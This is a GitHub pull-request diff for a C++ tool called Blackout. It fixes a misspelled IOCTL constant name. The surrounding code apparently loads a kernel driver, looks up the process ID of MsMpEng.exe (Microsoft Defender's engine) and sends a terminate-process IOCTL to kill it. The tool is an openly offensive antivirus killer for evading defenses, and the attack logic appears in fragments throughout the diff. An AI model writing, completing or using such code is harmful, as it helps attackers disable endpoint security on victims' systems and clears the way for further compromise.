Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 3 additions & 3 deletions Blackout/Blackout.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@

#define INITIALIZE_IOCTL_CODE 0x9876C004

#define TERMINSTE_PROCESS_IOCTL_CODE 0x9876C094
#define TERMINATE_PROCESS_IOCTL_CODE 0x9876C094

BOOL
LoadDriver(
Expand Down Expand Up @@ -238,7 +238,7 @@ main(
{
if (input = GetPID(L"MsMpEng.exe"))
{
if (!DeviceIoControl(hDevice, TERMINSTE_PROCESS_IOCTL_CODE, &input, sizeof(input), output, outputSize, &bytesReturned, NULL))
if (!DeviceIoControl(hDevice, TERMINATE_PROCESS_IOCTL_CODE, &input, sizeof(input), output, outputSize, &bytesReturned, NULL))
{
printf("DeviceIoControl failed. Error: %X !!\n", GetLastError());
CloseHandle(hDevice);
Expand All @@ -258,7 +258,7 @@ main(

printf("terminating process !! \n");

result = DeviceIoControl(hDevice, TERMINSTE_PROCESS_IOCTL_CODE, &input, sizeof(input), output, outputSize, &bytesReturned, NULL);
result = DeviceIoControl(hDevice, TERMINATE_PROCESS_IOCTL_CODE, &input, sizeof(input), output, outputSize, &bytesReturned, NULL);

if (!result)
{
Expand Down